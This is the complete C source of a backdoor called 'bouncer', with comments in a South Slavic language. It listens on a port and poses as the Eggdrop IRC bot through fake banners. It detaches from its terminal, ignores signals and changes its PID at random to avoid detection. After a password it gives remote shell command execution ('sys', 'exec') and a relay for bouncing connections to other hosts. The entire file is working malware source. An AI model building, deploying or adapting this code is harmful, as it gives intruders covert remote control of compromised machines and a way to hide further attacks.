/*
	Defineovi:

	DONT_HIDE_TTY
	SUNOS
	DEBIAN
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <arpa/telnet.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <netdb.h>
#ifdef SUNOS
#include <sys/errno.h>
#endif
#ifdef DEBIAN
#include <asm/errno.h>
#endif
/* Za communicate() */
#include <sys/time.h>

#define VER "0.1.3"
#define PROMPT "bouncer>"
#define TMP_STR_SIZE 256
#define ARGS 16
#define CLIENTS 16
#define PROMPT_NICK " "
#define PORT_ENV "bport"
#define PASS_ENV "bpass"
#define BPRINT_ENV "bprint"
#define DEBUG_ENV "bdebug"
#define NICK_ENV "bnick"

int MainSock;
unsigned int SockAddrSize, Clients = 0;
unsigned long int ForkPoint;
char Pass[32], Nick[16],
	Response[][64] = {
		"0 Ready.",
		"1 Command not implemented.",
		"2 Operation successfull.",
		"3 Opeation not succesfull."
		};

void DisconnectClient (int ClientSock)
	{
	shutdown (ClientSock, 2);
	close (ClientSock);
	exit (EXIT_SUCCESS);
	}

void NoEchoMode (int ClientSock)
	{
	char Str[5];

	printf ("%c%c%c", IAC, WILL, TELOPT_ECHO);
	fgets (Str, 4, stdin);
	}

void EchoMode (int ClientSock)
	{
	char Str[5];

	printf ("%c%c%c", IAC, WONT, TELOPT_ECHO);
	fgets (Str, 4, stdin);
	}

void BinMode (int ClientSock)
	{
	char Str[5];

	printf ("%c%c%c", IAC, DO, TELOPT_BINARY);
	fgets (Str, 4, stdin);
	}

char *Gets (char *Str, unsigned int Size)
	{
	if (fgets (Str, Size, stdin) == NULL)
		return (NULL);
	Str[strlen (Str) - 1] = 0;
	return (Str);
	}

void Parse (int *Args, char **Arg)
	{
	int Num;

	if (!Arg[0][0])
		return;

	for (Num = 0; Num < ARGS; Num ++)
		{
		if (Num)
			{
			Arg[Num] = strchr (Arg[Num - 1], ' ');
			if (Arg[Num] == NULL)
				break;
			}
	
		while (*Arg[Num] == ' ')
			{
			*Arg[Num] = 0;
			Arg[Num] ++;
			}
		}
	*Args = Num;
	}

void communicate(int sfd,int cfd)    {
    char *chead, *ctail, *shead, *stail;
    int num, nfd, spos, cpos;
    extern int errno;
    fd_set rd, wr;
	char cbuf[2048], sbuf[2048];

    chead = ctail = cbuf;
    cpos = 0;
    shead = stail = sbuf;
    spos = 0;
    while (1) {
        FD_ZERO(&rd);
        FD_ZERO(&wr);
        if (spos < sizeof(sbuf)-1) FD_SET(sfd, &rd);
        if (ctail > chead) FD_SET(sfd, &wr);
        if (cpos < sizeof(cbuf)-1) FD_SET(cfd, &rd);
        if (stail > shead) FD_SET(cfd, &wr);
        nfd = select(256, &rd, &wr, 0, 0);
        if (nfd <= 0) continue;
        if (FD_ISSET(sfd, &rd)) {
            num=read(sfd,stail,sizeof(sbuf)-spos);
            if ((num==-1) && (errno != EWOULDBLOCK)) return;
            if (num==0) return;
            if (num>0) {
                spos += num;
                stail += num;
                if (!--nfd) continue;
            }
        }
        if (FD_ISSET(cfd, &rd)) {
            num=read(cfd,ctail,sizeof(cbuf)-cpos);
            if ((num==-1) && (errno != EWOULDBLOCK)) return;
            if (num==0) return;
            if (num>0) {
                cpos += num;
                ctail += num;
                if (!--nfd) continue;
            }
        }
        if (FD_ISSET(sfd, &wr)) {
            num=write(sfd,chead,ctail-chead);
            if ((num==-1) && (errno != EWOULDBLOCK)) return;
            if (num>0) {
                chead += num;
                if (chead == ctail) {
                    chead = ctail = cbuf;
                    cpos = 0;
                }
                if (!--nfd) continue;
            }
        }
        if (FD_ISSET(cfd, &wr)) {
            num=write(cfd,shead,stail-shead);
            if ((num==-1) && (errno != EWOULDBLOCK)) return;
            if (num>0) {
                shead += num;
                if (shead == stail) {
                    shead = stail = sbuf;
                    spos = 0;
                }
                if (!--nfd) continue;
            }
        }
    }
}

void Connect (int ClientSock, char *Host, char *PortStr)
	{
	int ConnectSock, Res;
	unsigned int Port;
	struct hostent *HostEnt;
	struct sockaddr_in SockAddr;

	HostEnt = gethostbyname (Host);
	if (HostEnt == NULL)
		{
		printf ("%s: Unknown host.\n", Host);
		return;
		}
	Port = (unsigned int)strtoul (PortStr, NULL, 10);
	if (!Port && PortStr[0])
		{
		printf ("%s: Bad port number.\n", PortStr);
		return;
		}

	SockAddr.sin_family = AF_INET;
	SockAddr.sin_addr = *(struct in_addr *)HostEnt->h_addr;	
	SockAddr.sin_port = htons (Port);

	printf ("Trying %d.%d.%d.%d...\n",
		(HostEnt->h_addr_list[0][0] < 0) ? HostEnt->h_addr_list[0][0] + 256 : HostEnt->h_addr_list[0][0],
		(HostEnt->h_addr_list[0][1] < 0) ? HostEnt->h_addr_list[0][1] + 256 : HostEnt->h_addr_list[0][1],
		(HostEnt->h_addr_list[0][2] < 0) ? HostEnt->h_addr_list[0][2] + 256 : HostEnt->h_addr_list[0][2],
		(HostEnt->h_addr_list[0][3] < 0) ? HostEnt->h_addr_list[0][3] + 256 : HostEnt->h_addr_list[0][3]);
	ConnectSock = socket (AF_INET, SOCK_STREAM, 0);
	if (ConnectSock == -1)
		{
		printf ("Can't create a socket!\n");
		return;
		}
	Res = connect (ConnectSock, (struct sockaddr *)&SockAddr, SockAddrSize);
	if (Res == -1)
		{
		printf ("Can't connect to remote host: ");
		perror ("");
		return;
		}
	printf ("Connected to %s.\n", Host);
	communicate (ConnectSock, ClientSock);
	close (ConnectSock);
	printf ("\n\rconnect: Connection closed.\n\r");
	DisconnectClient (ClientSock);
	}

void ServeClient (int ClientSock)
	{
	int Args, InPromptMode = 0;
	char Str[TMP_STR_SIZE], *Arg[ARGS], Str2[TMP_STR_SIZE];

	int IsCmd (char *Command)
		{
		if (strcmp (Command, Arg[0]))
			return (0);
		return (1);
		}

	signal (SIGCHLD, SIG_DFL);

	dup2 (ClientSock, 0);
	dup2 (ClientSock, 1);
	dup2 (ClientSock, 2);
	setvbuf (stdout, NULL, _IONBF, 0);
	setvbuf (stdout, NULL, _IONBF, 1);
	setvbuf (stdout, NULL, _IONBF, 2);
	BinMode (ClientSock);

	printf ("\n\n%s (Eggdrop v1.3.12  (c)1997 Robey Pointer)\n\nPlease enter your nickname.\n", Nick);
	if (Gets (Str, TMP_STR_SIZE) == NULL)
		DisconnectClient (ClientSock);
	if (!strcmp (Str, Pass))
		goto Ready;
	InPromptMode = 1;
	if (strcmp (Str, PROMPT_NICK))
		{
		printf ("You don't have access.\n");
		DisconnectClient (ClientSock);
		}

	printf ("Enter your password.\n");
	NoEchoMode (ClientSock);
	if (Gets (Str, TMP_STR_SIZE) == NULL)
		DisconnectClient (ClientSock);
	EchoMode (ClientSock);
	if (strcmp (Str, Pass))
		{
		printf ("\rNegative on that, Houston.\n");
		DisconnectClient (ClientSock);
		}

	Ready:
	if (InPromptMode)
		printf ("Version: %s\nWhat do you want to hack today?\n", VER);
	else
		puts (Response[0]);

	Str[0] = 0;
	do
		{
		Arg[0] = Str;
		strcpy (Str2, Str);
		Parse (&Args, Arg);
		if (IsCmd (""))
			goto CmdDone;
		if (!InPromptMode)
			{
			puts (Response[1]);
			goto Again;
			}
		if (IsCmd ("quit") || IsCmd ("exit"))
			DisconnectClient (ClientSock);
		if (IsCmd ("exec"))
			{
			if (Args < 3)
				{
				printf ("exec: Not enough parameters.\nType '?' for help.\n");
				goto CmdDone;
				}
			if (!fork ())
				{
				execl (Arg[2], Arg[1],
					Arg[3], Arg[4], Arg[5],
					Arg[6], Arg[7], Arg[8],
					Arg[9], Arg[10], Arg[11],
					Arg[12], Arg[13], Arg[14],
					Arg[15],
					NULL);
				perror (Arg[0]);
				exit (EXIT_FAILURE);
				}
			wait (0);
			goto CmdDone;
			}
		if (IsCmd ("sys"))
			{
			if (Args < 2)
				{
				printf ("sys: Not enough parameters.\nType '?' for help.\n");
				goto CmdDone;
				}
			system (Str2 + (Arg[1] - Str));
			goto CmdDone;
			}
		if (IsCmd ("help") || IsCmd ("?"))
			{
			printf ("%s%s%s%s%s%s%s%s%s",
				"\n",
				"con\t<host> [port]\n",
				"exec\t<false name> <program> [arguments]\n",
				"exit\n",
				"help\n",
				"sys\t<command> [arguments]\n",
				"quit\n",
				"?\n",
				"\n");
			goto CmdDone;
			}
		if (IsCmd ("connect"))
			{
			if (Args < 2)
				{
				printf ("connect: Not enough parameters.\nType '?' for help.\n");
				goto CmdDone;
				}
			if (Args == 2)
				Connect (ClientSock, Arg[1], "23");
			else
				Connect (ClientSock, Arg[1], Arg[2]);
			goto CmdDone;
			}
		printf ("%s: Command not found.\nType '?' for help.\n", Arg[0]);
		CmdDone:
		if (InPromptMode)
			printf ("%s", PROMPT);
		Again:
		}
	while (Gets (Str, TMP_STR_SIZE) != NULL);

	DisconnectClient (ClientSock);
	}

void HandleSigMain (int Sig)
	{
	wait (0);
	Clients --;
	signal (Sig, HandleSigMain);
	}

int main (void)
	{
	int Num, ClientSock, EnvErr, DoPrint = 0;
	unsigned int Port;
	pid_t Pid;
	struct sockaddr_in SockAddr;

	SockAddrSize = sizeof (SockAddr);
	ForkPoint = (unsigned long int)(RAND_MAX / 1000); /* 0,1% sanse */

	if (getenv (BPRINT_ENV))
		DoPrint = 1;

	if (DoPrint)
		printf ("Version: %s\n", VER);
	else
		printf ("%s%s%s", 
			"Eggdrop v1.3.14  (c)1997 Robey Pointer\n",
			"--- Loading eggdrop v1.3.14 (Tue Jun 30 1998)\n",
			"* CONFIG FILE NOT LOADED (NOT FOUND, OR ERROR)\n"
			);

	EnvErr = 0;
	if (!getenv (PORT_ENV))
		{
		if (DoPrint)
			fprintf (stderr, "Fatal error: Port variable '%s' not set.\n", PORT_ENV);
		EnvErr = 1;
		}
	if (!getenv (PASS_ENV))
		{
		if (DoPrint)
			fprintf (stderr, "Fatal error: Password variable '%s' not set.\n", PASS_ENV);
		EnvErr = 1;
		}
	if (!getenv (NICK_ENV))
		{
		if (DoPrint)
			fprintf (stderr, "Fatal error: Nick variable '%s' not set.\n", NICK_ENV);
		EnvErr = 1;
		}
	if (EnvErr)
		exit (EXIT_FAILURE);

	Port = strtoul (getenv (PORT_ENV), NULL, 10);
	strncpy (Pass, getenv (PASS_ENV), 32);
	if (!strcmp (Pass, PROMPT_NICK) && DoPrint)
		{
		fprintf (stderr, "Fatal error: Password is equal to prompt nick.\n");
		exit (EXIT_FAILURE);
		}
	strncpy (Nick, getenv (NICK_ENV), 16);

#ifndef DONT_HIDE_TTY
	if (ioctl (0, TIOCNOTTY) == -1 && DoPrint)
		fprintf (stderr, "Non-fatal error: Unable to hide tty.\n");
#endif

	if (!getenv (DEBUG_ENV))
		{
		printf ("Changing signal handling...\n");
		for (Num = 0; Num < 256; Num ++)
			signal (Num, SIG_IGN);
		}
	else
		printf ("Skiping signal handling change.\n");
	signal (SIGCHLD, HandleSigMain);

	MainSock = socket (AF_INET, SOCK_STREAM, 0);
	if (MainSock == -1)
		{
		fprintf (stderr, "Fatal error: Unable to create main socket.\n");
		exit (EXIT_FAILURE);
		}
	SockAddr.sin_family = AF_INET;
	SockAddr.sin_addr.s_addr = 0;
	SockAddr.sin_port = htons (Port);
	if (bind (MainSock, (struct sockaddr *)&SockAddr, sizeof (SockAddr)))
		{
		fprintf (stderr, "Fatal error: Unable to open port %d: ", Port);
		perror ("");
		exit (EXIT_FAILURE);
		}
	if (listen (MainSock, CLIENTS))
		{
		perror ("Fatal error: Can't assign port for listening");
		exit (EXIT_FAILURE);
		}
	printf ("Listening on port %u.\n", Port);
	fcntl (MainSock, F_SETFL, fcntl (MainSock, F_GETFL) | O_NONBLOCK);

	if ((Pid = fork ()))
		{
		printf (
#ifdef SUNOS
			"Moving into the background with PID %lu.\n",
#else
			"Moving into the background with PID %u.\n",
#endif
			Pid);
		exit (EXIT_SUCCESS);
		}

	while (1)
		{
		ClientSock = accept (MainSock, (struct sockaddr *)&SockAddr, &SockAddrSize);
		if (ClientSock != -1)
			{
			Clients ++;
			if (!fork ())
				ServeClient (ClientSock);
			}
				
		srand (time (NULL));
		if (rand () < ForkPoint && !Clients)
			{
			if (fork ())
				exit (0);
			}
		usleep (10000);
		}	
	}


syntax highlighted by Code2HTML, v. 0.9.1